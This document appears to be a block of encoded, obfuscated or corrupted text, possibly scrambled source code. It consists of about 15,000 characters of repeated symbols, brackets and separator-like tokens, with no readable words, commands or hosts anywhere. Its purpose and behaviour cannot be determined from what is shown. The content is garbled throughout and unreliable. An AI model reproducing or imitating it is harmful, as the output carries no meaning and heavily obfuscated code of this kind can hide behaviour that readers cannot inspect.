NmGGGGGGmG GGGC\mGGOFOC +(%&+4<8T O^QN:NGGGGGGF8T OQSNOC +(%&+4<Q^	UO^PN:NNGGC +(%&+4<8T O^PN:GGZGON\mGGGGGGGGGGGGGOF
OC +(%&+4<Q^	UO^PN:<C	WQ_WV
:NNGGGmGGC +(%&+4<T
O^PN:<C	WQ_WV
:LL\m	GGG\mmGGmGGGGGGGGO _	S^O^_NOCNGAAGGT
O^^NOCKGGGG8T OVWWNNNGmGCUVS^RPQGGZGGGGG'CJY 8O8T OVWVNGIGG	U8VPTTOC	WQ_WV
NGIGT
OVWUNN\mGGGGOCUVS^RPQGGZZZG@V@NGGmHHG745JSG	
]G	
	G	J	
	mmGC +(%&+4<T
O^PN:<C	WQ_WV
:GGGGZGGGGV\mGGG	G\mmmmGGGOCUVS^RPQGGZZZGGG@W@NG	GG\mGGGGGmGGGOQ^	UOQVNOQ^	UOVWTNNGGAAGG8T OQVNOQ^	UOVWSNNNGmHHGGJ mC	8WZRMU\C
 QRTZC	8WJV\mGGGGCVRGGGGZGON\mGGGGGO8T OQVNO _	S^OU_NNNGGGGGCVR<:GGZGGQ^	UOU_NON\mGO	O8T OVWRNNNGGCVR<:GZG078$()3")38#.5\mmmGGGGGGGGO	OT
OWNNNGCVR<:GGGGGZGGQ^	UOVTNO&%47&3/KGGGQ^	UOVWQNN\mmmGGGGGGGGOCVRGGGGGGC	VSWQTNGGGmmmmGGGGGGOC	VSWQTGGZZZGEEGGGGGGGGF' _	S^OVWPNOC	VSWQTNGGGGGGF'8T OTVNOC	VSWQTNNGG		\mGGCTUPGZGGG'Q^	UOVWSNOC	VSWQTGGIGGQ^	UOVW_NGIG	U8VPTTOC	WQ_WV
NGGGGGGIG _	S^OVW^NKGGGGGG@@N\mGGGGGOCTUPGFZZGGNGGGmGGGGGGGOF'OCTUPKG+($,8"?GG+($,8)%NNGGGGGGmHHG
		G	J
	JmmGG'OCTUPN\mGG	G\mGGGGGGmGGGGOFOC +(%&+4< _	S^OVVWN:NGGGGF8T OVVVNOC +(%&+4<8T OVVWN:NNGGGC +(%&+4<Q^	UOVVWN:GGZGGON\mGGC +(%&+4< _	S^OVVWN:<C	WQ_WV
:GGZGGGGCTUP\mC +(%&+4<T
O^PN:<C	WQ_WV
:GGGGZGV\m	GGG\mGGGmGGGGmGmmmmGGGG	GGG\mGGmG		GG RT^
U^OC	WQ_WV
NmmGGG GC\mGGGO
OC +(%&+4<T
OVVUN:<C	WQ_WV
:NNGG	\mmmmGC +(%&+4<8T OVVUN:<C	WQ_WV
:JJ\mmGGOC +(%&+4< _	S^OVVTN:<C	WQ_WV
:GGGYGGWNG	\mG	OC +(%&+4<T
OVVTN:<C	WQ_WV
:N\mGGGGGGGGOOC +(%&+4< _	S^OVVSN:<C	WQ_WV
:NNGGm'OC +(%&+4< _	S^OVVRN:<C	WQ_WV
:KGGGGGG+($,82)N\m'OC +(%&+4<8T OVVQN:<C	WQ_WV
:N\mGGGG	OC +(%&+4<8T OVVPN:<C	WQ_WV
:N\mmmGGGGGO _	S^O^_NOCNGGGGGAAGGGGGGQ^	UO^^NOCKGGG8T OVV_NNNGGGmmmGGGG'CJYOQ^	UOVV^NGGGIG	U8VPTTOC	WQ_WV
NGGIG8T OVUWNN\mmHHG
GmmmGGGG		GG P_^R		SW ONmmmGGGGGGGO	O _	S^OVUVNNGAAG#.4&++(08!.+"8*(#4NGGGGG	G\mG	GG\mGGGGmGGGGGG		GGSS_UU8OC8PS__KGGC	VRV8UNmGGmGGmGO	8OT
OVUUNNGGGAAGC	VRV8UGG		G3NGmGGGC
	
TGZGGGGG8T O^NOC8PS__GIGGG _	S^OVUTNGGIGGGC	VRV8UJY * ONKGWKGOTQSJVW_NN\mGGGGGGGGOC	VRV8UG		GGG"	NGGGmC
	
TGZGGT
OVUSNOC8PS__GGIGGT
OVURNGIGGGC	VRV8UJY * ONKGGGGWKGGGGOVPSL_UNN\mmmmGGGGGGGO _	S^OVUQNOC	VRV8UNGGAAGGG _	S^OVWNOC	VRV8UNGGYGGGGWNGGGGmC
	
TGGZGT
OVUPNOC8PS__GGGIGT
OVU_NGIGC	VRV8UKGGGGGGWKGOUWQLRWNN\mGGGGGGGm	\mmHHGGmmGGGGOFOC +(%&+4<T
OVU^N:NNGGGC +(%&+4< _	S^OVU^N:GGGGZGGGGON\mGGGGGOF8T OQRNOC
	
TKGGGGGGC +(%&+4<Q^	UOVTWN:KGNNGGGmGGGGGGGC +(%&+4<8T OVTWN:<:GGGZGGGGC
	
T\mGmGGGGGGGGO8T OVTVNOC +(%&+4< _	S^OVTUN:NGGYGGGGGOUSLUQNNGGmGC +(%&+4<Q^	UOVTTN:GGGGZG _	S^OVTSNOC +(%&+4<Q^	UOVTRN:KGJOTWLUWNN\mGGGGGmGGGGO3GC_		W^NGGGGGmHHG7G7/7GUGG		mmGGGGGO"	GGGGC_		W^NGGGGGmmmmGGGGmGGGGm		GGGGG UWWTOCUWP_UVKGGGCQ8WV_KGGGGCT
TUP	VGGZGGGGOQLSNKGGC

WUW VGGZGGGVNmGGmGGOF _	S^OQVNO _	S^OVTQNNNGG	GGG\mGGGGO _	S^OVTPNOCQ8WV_NNGGmG	GG8	OCUWP_UVKGG		GGGOIIICR^VRWNGGGGGGOCQ8WV_NGmGGGGGGGO8T OQVNOCQ8WV_NNGGGG	GCQ8WV_OIIICR^VRWN\m	G	\mKGGGCT
TUP	VKGGGGC

WUW VN\C88Z7/78.)38*&?H7/78.)38*&?\CSV^TZC88L_V\mGGGGGmG	GGGG8	OCUWP_UVKGGGCQ8WV_KGCT
TUP	VKGC

WUW VN\mGmmmG		GT8 WR^P_R OCUWP_UVKGGGCQ8WV_KGGGGGGCT
TUP	VGGZGGGOQ^9P^NKGGGC

WUW VGZGVNmmGGGGmGGGGGGGGGOF _	S^OQVNOQ^	UOVT_NNNG	GGGGG\mGGO8T OVTPNOCQ8WV_NNGGGGGGmmmGG	GGG8OCUWP_UVKG		GGOIIICR^VRWNGGGOCQ8WV_NGGmmmGOT
OVT^NOCQ8WV_NNGGGG	GCQ8WV_OIIICR^VRWN\mGGGGGGGG	GOCR^VRW<W:NGGGGXGGCR^VRW<W:G]GGG	\mGGGGGKGGCT
TUP	VKGGC

WUW VN\C Q V^ZOWUTLW_N\C^TZC Q V^BVT\mGGGGGGmGGGG	GGGGG8OCUWP_UVKGGGGGGCQ8WV_KGGGGCT
TUP	VKGC

WUW VN\mmGGGmG		GGG
U	_T _ONmmGGGGCPVWGGGZGGGGG	OQ^	UOVSWNNGGGXGGGG078$()3")38#.5GIGQ^	UOVSVNGGGIGG^O&%47&3/GIGQ^	UOSRNKGGOPLVNNGGGG]GGGGGGT
OVVNOVQ^^WWT
WONNGGIGQ^	UOVSUN\mGGOF'T
OVWPNOCPVWNGGGGGGAAGGGGG

S8OCPVWNNGGGGmmm8	VSS OCPVWKGGGOWU_LWVRNKGGGGN\mGGGGGO'8T OVWPNOCPVWNNGGGGmGGGT^UWPU	P^OCPVWGGIGG8T OVSTNKGGGGGE[XGHHG4	GG 	I;	EKGQ^	UOSRNN\mmGGGGmGGGGGGO'T
OVSSNOCPVWNGAAGG'Q^	UOVSRNOCPVWNNGGGGGmHHGGmm	GCPVW\mGGGmHHGGJ GG07G G4mmGGGGCQ_^T VTPGGGGZGT
OVVNOVQ^^WWT
WONNGGGIGQ^	UOVSUN\mGGGGOF'T
OVSQNOCQ_^T VTPNGGGAAGGG

S8OCQ_^T VTPNNGG8	VSS OCQ_^T VTPKGGGGGOSUPLQQNKGGN\mmGO'8T OVSQNOCQ_^T VTPNGGGAAG'Q^	UOVSRNOCQ_^T VTPNNGGG	GCQ_^T VTP\mC		GGZGG8T OVVNOVQ^^WWT
WONN\mmmGGGGGGGGGGGO'8T OVSRNOC		NGAAGGC		GGFZZGG8^	_SWW	ONNGGGG	GGGC		\mGGO	OQ^	UOVSWNNGAAGGGG'T
OVSPNO078$()3")38#.5NGAAGGGG

S8O078$()3")38#.5NNG	GGGGG078$()3")38#.5\mGGGG	GGCPVW\mGGmGG		GGGUP_W
_^ONmmGGO	OT
OVSWNNGGGGAAGGGGG'T
OVSPNO078$()3")38#.5NGGAAGGG

S8O078$()3")38#.5NNGG	GGGGG078$()3")38#.5\mGGGGGGGC^SUUGZGG8T OVS_NOVQ^^WWT
WONN\mGGGGGO

S8OC^SUUNNGGG	GC^SUU\mGG	GG078$()3")38#.5\mGGmGGGmGG		GGGG
VT_QUV
 ROC	W_W_NmGmmGGGGO
OC +(%&+4< _	S^OVS^N:NGGGGF8T OVRWNOC +(%&+4< _	S^OVRVN:NNGGG	G\mGOOC +(%&+4<Q^	UOVRUN:<C	W_W_:NNG	GG\mGCRW
UGZGGT
OVT^NOQ^	UOVRTNNGXG' _	S^OVRTNOC	W_W_NGG]G\mGGG	GGGOCRW
UGGFZZGGGGGGGAAGGGGGOC +(%&+4<Q^	UOVRUN:<CRW
U:NN\mmmmmmmmGG		GQ8VWPPOC	W_W_NmGmHMGG

	GMHmC
	Q	 	U	Z^UMP\CT  TZC
	Q	 	U	JT\mGO
OC +(%&+4< _	S^OVRSN:NGGGGGF8T OVRWNOC +(%&+4<8T OVRSN:NNGG	\mmmG	OC +(%&+4<8T OVRSN:<C	W_W_:N\mmmmGGGGCRW
UGZGG8T OVT^NOT
OVRTNNGXGGG'Q^	UOVRTNOC	W_W_NGG]G\mGGGOCRW
UGGFZZGGGGNGGGG	OC +(%&+4<Q^	UOVRRN:<CRW
U:N\mmmmm		GGGGGG8RV OC	W_W_NmGGGGGGGmGGGGGGGGGGOFOC +(%&+4<8T OVRRN:NGGGGF _	S^OVRWNOC +(%&+4<T
OVRQN:NNGmGGGGGC +(%&+4< _	S^OVRQN:GGZGGGGON\mGmmC ^R	SGZGGGT
OVT^NO8T OVRTNNGGXGGG'T
OVRPNOC	W_W_NGGGGG]G\mmmGC +(%&+4<T
OVRQN:<C ^R	SGGFZZGGGXGC ^R	SG]GGC	W_W_:GGGZGGGC	W_W_\mmmGGGCV_^UW
GGZGG\mGGGOFCV_^UW
NGmmmGGGGCV_^UW
GGGZGG\mGGGGGGGGOT
OVR_NOT
OVR^NNNGG _	S^OVR^NOT
OVQWNN\mmmGmmGGGmmmmG		GGGGGVV8R8VONmmGGGGO
OC +(%&+4< _	S^OVQVN:NGGGGFT
OVQUNOC +(%&+4<T
OVQVN:NNGGmGGG	\mmmGmGGGGGGOC +(%&+4<Q^	UOVQTN:GGGGC8Q^R8__GGGZYGGCV_Q
T8SSNGGGmGGGGGGGGGOF8T OVTPNOCV_Q
T8SSNNGCV_Q
T8SSGZGGGGC8Q^R8__\mmmGGGGOC8Q^R8__GGGGZZZGGGGVQ^^WWT
WONGGGGCV_Q
T8SSGGGGGZZZGGGGGVQ^^WWT
WONNGG		\mmmGGGmGGGGGO'8T ORVNOCV_Q
T8SSNNGGmGGGGGGGGO8T OVR_NOQ^	UOVQSNNNGGGGT8OCV_Q
T8SSKGOWRPLWVSNN\mmmmGGGGGGGOT
OVR_NO8T OV^NNGGGGAAGWT	OCV_Q
T8SSNGAAG8T OVR_NO _	S^OVQRNNNGG'8	OCV_Q
T8SSKGGN\mmmmmGGGGGGGGO3GC	VRV8UNGmGGGGGGO"	GGGGGC	VRV8UNGGmHHG07G7G#]G	
G
mmmGGmGmGG		GGGGGGWS	^ONmmmmGmmmmGGGmGGC	VRV8UGGGGZGGQ^	UOVQQNOT
OVQPNNGGGXG'8 8ONGGGG]GGGGG	\mGGGGGGGOF8T OVQ_NOC	VRV8UNGGGG
OC	VRV8U< _	S^OVQ^N:NGGGGGG
OC	VRV8U< _	S^OVPWN:NNG	\mGGGGOFT
OQRNOC	VRV8U< _	S^OVPWN:KGGGO"8"55(5KGGG"87&54"KGGGG"8$(5"8"55(5KG"8$(*7.+"8"55(5KGG"824"58"55(5NKGGNNG	\mCPVR^
	Q^PGGGGZGGGGGOC	VRV8U<Q^	UOVPVN:NGGGGXGGGO	 NGC	VRV8U< _	S^OVPUN:GG]GGEE\mGOOCPVR^
	Q^PKGT
OVPTNNGGGGGFZZGGGGGGGGGGGOCPVR^
	Q^PKGG8T OVPSNNGGGGGFZZGGGNGGGG	\mmGGCQRT_GGZGGGG8T OVQQNO8T OVRPNNGXGGGG' _	S^OVPRNOVQ^^WWT
WONNGG]GVQ^^WWT
WON\mGC8GGZGT
OVQQNOT
OVPQNNGGGXGG'T
OVPPNOC	VRV8U<8T OVQ^N:NG]GC	VRV8U< _	S^OVQ^N:\CZ7/78*&-(581"54.()\C8PSZCM^\mmmGGGGGGGGOFT
OVP_NOCQRT_NGGGGGFT
OVP_NOC8NGGGC8GFZZGGGGCQRT_NGG	\mmmGGGGGGGOOC +(%&+4< _	S^OVP^N:NNGmGGGGGGGCUSWSTGGZGG'Q^	UOQPNOVQ^^WWT
WONKGGGGKGGGGG	KGGWKGGOVWTLT^^TNN\mGGGGO _	S^OVP_NOCUSWSTNGGGAAGG8T OQ^NO _	S^OPWNKGGCUSWSTKGGC8
NGGAAGGGC8
<V:GGFZZGGO	 NGGC +(%&+4<Q^	UOVP^N:NGGG	\Gm	OCUSWSTKGGC8
N\mGGGGGGGGOOC +(%&+4< _	S^OV_WN:NNGGGmHMG	G	
GMHmmGGGGGO _	S^OVQQNOT
OV_VNNNGG'OKGVQ^^WWT
WONN\mmGGGGGGC W_^	GZGGO	 NGGG' _	S^OV_UNOVQ^^WWT
WONNGGGIGG@]@GGGGIGGO	 NG' _	S^OPVNOVQ^^WWT
WONN\mGGGGGGOC W_^	GGGFZZGGGGO	 NGGC +(%&+4< _	S^OV_WN:NG	\GGGmGGGGGG	OC W_^	N\mmmGmGGGGGmCUWGGZGGGGT
OVUNOVQ^^WWT
WONKGQ^	UOV_TNN\mmGGGGGCS	U8GGGGZGGGQ^	UO^RNO8_PRSPOO	 NGG' _	S^OQPNOVQ^^WWT
WONNNN\mGGGGGT^UWPU	P^O _	S^OVS_NOVQ^^WWT
WONNGGGIG8T OV_SNGGIGCUWKGCS	U8KG@@N\mGGGGOCS	U8GFZZGGGEENGGGGGGmT^UWPU	P^OQ^	UOVS_NOVQ^^WWT
WONNGGGGIGGGQ^	UOV_RNGGGGGGIGGGGCS	U8KGGGO	 NGT
OV_QNONKGGG@@N\mGGGGGGOT
OV_PNO8T OV__NNNGmGGGGGG'8	O8T OV_^NKGGGGGCS	U8GIGG@@GGGGGIGQ^	UOV^WNONKGGG _	S^OV^VNN\mGmGGGGGmGGGGGGGC SVUVGZGGG8^	_SWW	ON\mGGGGGGGOC SVUVGGGFZZGGQ^	UOV^UNOVQ^^WWT
WONNGGGGAAG'T
OVSQNOC SVUVNGGGAAGGG'Q^	UOVSPNOC SVUVNNGGGGmmmmGGGGT^UWPU	P^OC SVUVGGIGGGGGG _	S^OV_SNGGGGIGGCUWKGGCS	U8KGGGG@@N\mGmGGGGGO _	S^OV_PNOQ^	UOQWNNGGGAAGGGG8T OV^TNO8T OV__NNNGmmmGCVTT	GGGGZGG 8	O8T OV^SNKGGGONN\mGGGGOQ^	UOVQ_NOCVTT	NGGGAAGQ^	UOV^RNOWRQP^W^QWONKGGGCVTT	KGNNGGGm'8	O _	S^OV^SNKGT
OQQNOT
OV^QNOCVTT	KGGGGGOWRQP^W^QWONNNNN\mGGGGGGmGGm	QRT^_^T  U^O8T OV^PNN\mCP	QVU8GZGVQ^^WWT
WONGGGGIGGGG8T OV^_N\mGGGGGGGGOT
OV^TNO _	S^OUTNNNG'T
OV^^NOVQ^^WWT
WONKGCP	QVU8N\mGGGGGGGOT
OV^TNOT
OUWWNNNGmm'8	OVQ^^WWT
WONKGGN\mmmGGGGG'8	OCP	QVU8KGGN\mGGmmmmmmGGGGGGGGGOO _	S^OV^UNOCP	QVU8NKG8^	_SWW	ONNGGC WPQ_NGGGmmmC	T^	RGGZGUVT	PRPOC WPQ_N\mmmmGGOFT
OVQ_NOC	T^	RNNGGG		\CVRT_^RQZPRS\C ^SQ8ZOCVRT_^RQYWNXCVRT_^RQ]JCVRT_^RQ\mGGGGGGGOC	T^	RGGGGGGGC	TWNGGGGGmGGGGGOT
OVUPNOC	TWKGGGGJOVRJPNNGFZZGGGQ^	UOUWVNNG		\mGGCP	U	WQGZGGC WPQ_GGIGGG@H@GIGGC	TW\mGGGCS

PGGGZGG'Q^	UOUWUNOCP	U	WQN\mGGGGGOCS

PGGAAGGCS

PG[GQ^	UOUWTNONGGGGGJGGOQWSPQ^LTVNNGGGGmHHG
GmmGGGGT8OCP	U	WQKGOSV_LUNN\mmmmGWT	OCP	U	WQN\mGmGGGGGGmGGGGmmmGGG	OC WPQ_KGGGC	T^	RKGGC	TWKGCP	U	WQKGGGGCS

PN\mGGGGGGGGGGGO3GGGGC_		W^NGGGmGGGGGGGGO"	GC_		W^NGGGGGmmmG		GGGGGG^ T
	UTSOC	W_W_KGGCQWQ
PQTNmGmGGGGGGGmGGOFQ^	UOVP_NOC	W_W_NGGGGGGGGC	W_W_GGGGZZZGGEEGGGGGGGFT
OVP_NOCQWQ
PQTNGGGGGCQWQ
PQTGGZZZGGGEENGGG	\mGCPVWGGGZGGGQ^	UOUWSNOC	W_W_N\mGGGOF'Q^	UOUWRNOCPVWNGGGGGGGGGGF'Q^	UOVSPNOCPVWNNG	\mGC8SR
^VGGGGZGGCPVWGGGIG8T OUWQNGGGIGGG _	S^OUWPNOC	W_W_KGGGG8T OV_TNN\mCQPV8PVUGZGG' _	S^OUW_NOC8SR
^VN\mGO _	S^OUW^NOCQPV8PVUNGGGGGAAGT
OQ^NO _	S^OUVWNKGGGGGCQPV8PVUKGGGCPVR^
	Q^PNGGGAAGGG	8
OCPVR^
	Q^P<W:KGGGGGCQWQ
PQTKGGGGGG8T OUVVNNNG	\mGGGGGGOT
OV^TNO _	S^OUVUNNNGGG' _	S^OUVUNOC8SR
^VKGGGCQWQ
PQTN\mGGGGGGGO3GGGGC	VRV8UNGmmmGGGGGO"	GGC	VRV8UNGGmGGmGGGmGGGGGGGG		G__VV	Q ONmmGGGGGGGGGmGOF8T OUVTNO8T OQWNNNGGmHHG745JSG	
G	GmmGG	\mGGmGGGGGGO' 8	OQ^	UOUVSNKGWNNGCTQRZVUQUSQ\C W_WUZCTQR9T\mmG UWWTO _	S^OUVRNKG _	S^OUVQNKGWN\mGGGmGGGGOF
^PURR^_Q
^	SVO _	S^OUVPNNNGGG	\mGGGmGGGGCURGZGGT
OVUPNOQ^	UOUV_NO&%47&3/GGGIGGO	 NGGGSQQ
SUONNKGGGGWKGGGOWRLWPNN\mmmGGGCURSUVGGGGZGGGGGO	 NGG' 8	OCURKGGGEEN\mGGCT_SGGZGGGG _	S^OUV^N\mGGGGCVQR8PWGZGEE\mmmGGGGGmmCU8 VQGZGGGO_R T_R^ONN\mGGC8R_PVTGGGGZGG _ Q	QTPON\mGCPW_TRQ_GZGGGGC8R_PVTGGGIGG@@GGIGGCU8 VQ\mGmGGO8T O^TNOCURSUVKGGG@@NGGFZZGGGNGmmmGGGGCR
QGZGGT
OUUWNO@@KGCURSUVKGGGGUN\mCT_SGGGZGGGCR
Q<W:\mGGGGCVQR8PWGZGGGCR
Q<V:\GGGGmGGGGGGmGGmGGGCVQR8PWGGZGGCURSUV\mGmmGGOFCVQR8PWNGmG'8	OCURKGGGCPW_TRQ_KGGG8T OUUVNN\mG	\mmmGGGGmmmmmGGGGOCVQR8PWGZZZGGGCU8 VQNGGGGmGGGGGOCURSUVGFZZGGCPW_TRQ_GGGAAGGG	8
OC8R_PVTKGCT_SKGGGT
OUVVNNNGGGGGmGG'8	OCURKGCPW_TRQ_KGGGT
OUUVNN\mGm	\mGGGGGGGmGGGGmGC	_ R_QVS
 GGGZGGOCVQR8PWN\mGGGGGGGGOC	_ R_QVS
 GGGZZZGGGGGEEGGGGG8T OUWPNOC	_ R_QVS
 NGGGFZZGGGGC	_ R_QVS
 NGGmGG'8	OCURKGGGGCPW_TRQ_KGT
OUUVNN\mGG	\mGmGGGGGGGC^V^	VS GGGGZGGG8^	_SWW	ONGIGGGG@H@GGIGGGC	_ R_QVS
 \mmmGGCQ R SGGGZGGGGEE\mGGGO	O _	S^OQNNNGGGmCQ R SGZGGG0787+2 .)8#.5GIGGGGG@H@GIG _	S^OUUUNOC	_ R_QVS
 KG7&3/.)!(8!.+")&*"NGIGG@H@GGGIGGGGC	_ R_QVS
 \mGGGGGGmmmmGGGGGGmGGC
T__	
GGGGGZG'8T OV_UNOC^V^	VS N\mGGGCTW8WGZGGGGGC
T__	
GGFZZGGGGGGAAGGGGC
T__	
GYZGGGGOWVUQLWVVN\mmmmGGGGGGCS	GGZGGGCQ R SGGXGGG' _	S^OUUTNOCQ R SNG]GGG\mGGC8W^GGGGZGCS	GGGFZZGGGGGGGGAAGGCS	GGGGGYZGGOTPT^LVUQVN\mmGGGOFCTW8WGAAGGGFC8W^NGGmG'8	OCURKGCPW_TRQ_KGGGG _	S^OUUVNN\mGGG	\C
	_8Z7/78*&-(581"54.()\CRU
ZC
	_8MS\mGGGmmGGC

GZGGCTW8WGGGGGGXGGGC^V^	VS GGGGG]GGGGCQ R S\mCTSW^PGGGGZGGG'Q^	UOUW_NOC

KGGGKGG	KGGWKGOS^VUJ_VQNN\mGGmmGGGGGGGGGGO _	S^OUW^NOCTSW^PNGGAAGG _	S^OUUSNOQ^	UOUURNKGGCTSW^PKGGGGGC8
NNGGmCT_SGGGZGC8
<V:\mGGGGGO^8TOC

KGGOQVRQJVVRQNNNGGmmGCT_SGGZG _	S^OUV^N\mmGmGGGGGG	OCTSW^PKGGGGGC8
N\mGC888_GZGGCTW8W\mmGGOFC888_GGAAGGGGC8W^NGmGCPUTWRGGGZGG8T OUUUNOC	_ R_QVS
 KGG7&3/.)!(8!.+")&*"NGGGGGIGG@H@GGIGGC	_ R_QVS
 \mCP_ 	QP
GGGZGGONGGGG' 8	O _	S^OUUQNKGGONN\mGGGGGGGGC888_GGGGGZGG8T OV^RNOCPUTWRKGGGGGCP_ 	QP
KGGN\mGGGGOFC888_GAAGGGG _	S^OUVTNO _	S^OUUPNNGGAAGGGGG8
ONGGAAGGGQ^	UOUU_NOT
OUU^NNNGGGmC Q_GZGGGGONGG' 88	OQ^	UOUTWNKGGGGONN\mGGGGGC888_GGZGGGOC Q_<CPUTWR:N\mmmmGG	OC Q_N\mGGGGmmGmGGGG	OCPUTWRKGCP_ 	QP
N\mmmGGGmmGGGGGGGCPV	TUGGZGGG	8
OC8R_PVTKGGGGGCT_SN\mmGGGGOCPV	TUG[ZGGGWNGmmmCV	_ 8GGGGGGZGGG^8TOC

KGOS^UPLPTNN\mGCW8	GGGGGZGGO	NG' _	S^OUUTNOC

N\mGGGGGCTS^UT^GGGGZGGOFCV	_ 8GGGGCW8	GGGYGOPTU_TRWSJUW_RSPWSNN\mGGGGGGOFCTS^UT^GAAGCW8	GYGOWUU_LWVW_NNGGGGGmHHG		G	mmGGGC^VGZGGG'Q^	UOUTVNOC

KGGKGG	KGGWKGGOSWVQL_WNN\mGGGGGGGGOF8T OUTUNOC^VNGGGGGGGGFT
OUUSNO8T OUTTNKGGC^VNNGGGCTS^UT^GGZGG\mmmGGmmmGGGGGGGGGGOFCTS^UT^GGAAGF	PRURPPOC

NNGCTS^UT^GGZGGGG\mGGGGGGGOFCTS^UT^NGGGmGGCQ
PGGGZGG_V _QSON\mGGGOF
OCQ
P<8T OUTSN:NNGmHHG745JVRG
]G		G mmGGC	SS^GGGGZGGGG'Q^	UOUTRNOCQ
P< _	S^OUTSN:N\mGGC SVSRWW_GGGGGZGGGGG'8T OUTRNOC

N\mGGGGOT
OUTUNOC	SS^NGAAGG8T OUTUNOC SVSRWW_NGGAAGGGGGGC	SS^GGZZZGGGC SVSRWW_NGGmGGGGGC8
	R	
GZGGVU	POCQ
PN\mGGGGGGGGOC8
	R	
GGGZZZGG _	S^OUTQNGGGGC8
	R	
GGZZZGGGG8T OUTPNNGGCTS^UT^GGGGGZGGG\mGGGGGm	OC	SS^KGGC SVSRWW_KGC8
	R	
N\mGmHHG 
	G		JGG07G G%mmGGGOFCTS^UT^GGGGGGAAGG	
W R	OC

NNGGCTS^UT^GZGGG\m	OCQ
PN\mGGGmGGGGGOCTS^UT^NGGmGOCV	_ 8NGG8RV OC

N\mG'8	OCURKGGGCPW_TRQ_KGT
OUUVNN\m	\mGGGGmGGOFC888_NGGGmGG'8	OCURKGGCPW_TRQ_KG8T OUUVNN\mG	\mmmmGGGmGGG^ T
	UTSOVQ^^WWT
WONKGGCT_SN\mGGGTT
8	OVQ^^WWT
WONN\mmmGG	GGGGG\mmmGGGGGGO
OC +(%&+4< _	S^OUT_N:NNGmmGC +(%&+4<T
OUT_N:GGGGZGGGG\mGGO^8TOC

KGGGOS^^VL^NNNGG8RV OC

N\mCV
WGGZGGT
OUWTNON\mmmGWWSPP	8T_ OVQ^^WWT
WONKGGGOCV
WGGJGGGGGGOCV
WGGGBGGGGOVRW_VVJRW_VVNNNGGGLGGSQQ
SUONN\mGGG	OCV
WN\mmmGGGGGGGG^ T
	UTSOC^V^	VS KGGGC8R_PVTN\mGGGGGGGGGGOCQ R SNG^ T
	UTSOCQ R SKGGGC8R_PVTN\m UWWTO _	S^OUT^NKGGGGQ^	UOUSWNKGGWN\m'8	OCURKGGGGCPW_TRQ_KGGT
OUUVNN\m	QRT^_^T  U^O8T OUSVNN\mGGOCQ R SGFZZGGGGEEGGAAGGG _	S^OUU_NOT
OV__NNNGGGGmGGGCRSPR_RPRGGZGGGGGT
OUUUNOC	_ R_QVS
 KG7&3/.)!(8!.+")&*"NGGGGGGIGGGG@H@GIGGGGGC	_ R_QVS
 \mmCP_ 	QP
GZGGG' 8	O _	S^OUUQNKGONN\C8USWZ7/78*&-(581"54.()\C ^PT__ZC8USWMV\mmmmGGGGOQ^	UOVQ_NOCP_ 	QP
NGGAAGG _	S^OV^RNOCRSPR_RPRKGGGCP_ 	QP
KGGNNGGGmGG'8	OQ^	UOUUQNKGGGGT
OQQNO _	S^OV^QNOCP_ 	QP
KGGOCRSPR_RPRNNNN\mmG	OCRSPR_RPRKGCP_ 	QP
N\mmGmGG	\mmmmGGGGGGGO3GGC	VRV8UNGGmGGSS_UU8OT
OUSUNKGC	VRV8UN\mmmmGGGGGGGGGO"	GGC	VRV8UNGGmGGG	GGGmGGG RT^
U^O _	S^OUVPNN\mmmmGGmmmGmG		GGUVT	PRPOCPVWNmmmmGGGO8T OUU_NOT
OUSTNNGAAGGGQ^	UOUU_NO _	S^OUSSNNNGGmmmGCQ
8S TGZG' _	S^OUSRNOCPVWN\mmGGOCQ
8S TNGGCSP_ZUTTVVV\CWWWUU8ZCSP_9^T\mGGCT	8GGGGZGGGGON\mGGOOC	VRV8UGGZGG'Q^	UOUSSNOCQ
8S TNNGGGFZZGGNGGGGmGGOC	VRV8UGGGFZZG@I@GGAAGC	VRV8UGGFZZGT
OUSQNNGGGGCT	8<:GGGZGC	VRV8U\mGmGGGGGOQ^	UOUSPNOT
OUS_NNNGGGGG'8T OUS_NOCQ
8S TN\mGGGGGG	GGGGCT	8\mmGGGGGGmGGGGGGGOT
OUS^NOQ^	UOURWNNNGmGGGCUVS^RPQGGGGGZG'T
OURWNOCPVWN\mGGGGO8T OVQ_NOCUVS^RPQNNGG	GG8T OURVNO8T OV^QNOCUVS^RPQKGO@I@KGGGGGQ^	UOUSQNNNN\mGGGGGGmmGGGO8T OURUNOQ^	UOURTNNNGmGGC_P_Q_STGGZG'8T OURSNOCPVWGIGGGG8T OURRNN\mGGGGGGGGGO _	S^OVQ_NOC_P_Q_STNNG	G _	S^OURQNO8T OURPNKGC_P_Q_STN\mGmGGGGGG	GG	\mGGGGGGGmm		GR	^W8POC
S_RUWVNmmGGGGGGGOF _	S^OUR_NOC
S_RUWVNGG _	S^O^TNOC
S_RUWVKGG8T OUR^NNGGZZZGGGGNG	GG\C_	^ RZ^UMU\CTQVVZC_	^ RJ_\mGGGGGGGGGGGGOT
OVWNOC
S_RUWVNGGGGGYGGOVWS_S^WL_QNNGGC
S_RUWVGGZGGGGG8_PRSPOC
S_RUWVN\mmmmGGO _	S^OVWNOC
S_RUWVNGGYGGGGOV^_RW_TJ^TQRWPNNGG	GG\mGGGGOFQ^	UOURUNOT
OUQWNNNGGG	GG\mGGGGGGOF	O8T OUQVNNNGGGmGGGGGC_8TSGGZG'	8 8OC
S_RUWVN\mGGGGGGOF _	S^OVQ_NOC_8TSNNGG	GGGGGG\mGGGGC_V8W8GGZGGGW\mGGGGGGGGGGOC_8TSGGCU NGGmGGGGGGGGOQ^	UOUQUNOCU NNGGGGmmGGGOCU <W:GGGGGZZZGG38$25+>8(7")GGGCU <W:GGGGGGZZZGGG38#(++&58(7")8$25+>8%5&$"4NGC_V8W8LL\mGGGG		\mmGGGOCU GGZZZGGGG@@NGGC_V8W8LL\mGGGGGGOCU GGZZZGG@@NGGGGGmmmmGGGGC_V8W8JJ\mGGGGGOC_V8W8G[GWNGG	GG\mmmGGmmmmmmmmGGGGGGG	GGGC_V8W8GGGZZZGGGW\mGmGmGG'	8 8OC
S_RUWVKGG3(,")87&54"N\mmmGGGG	GGGGG\mGGGGGGGGO3GGC	VRV8UNGGGmGG	GGGGG\mGGGGGGGGGGGGGGO"	GC	VRV8UNGGGGm	GGG\mGGGmmGGGG		GGG	S	P
	V_ ONmGGGGm	GGOT
OUQTNKGGGGG8T OUQSNKGGG8T OUQRNN\mGGmGGGGGGG		GG 8PWUSWONmGGGGGmGGG	GGOT
OUQQNKGG _	S^OUQPNKG _	S^OUQ_NKGGGGT
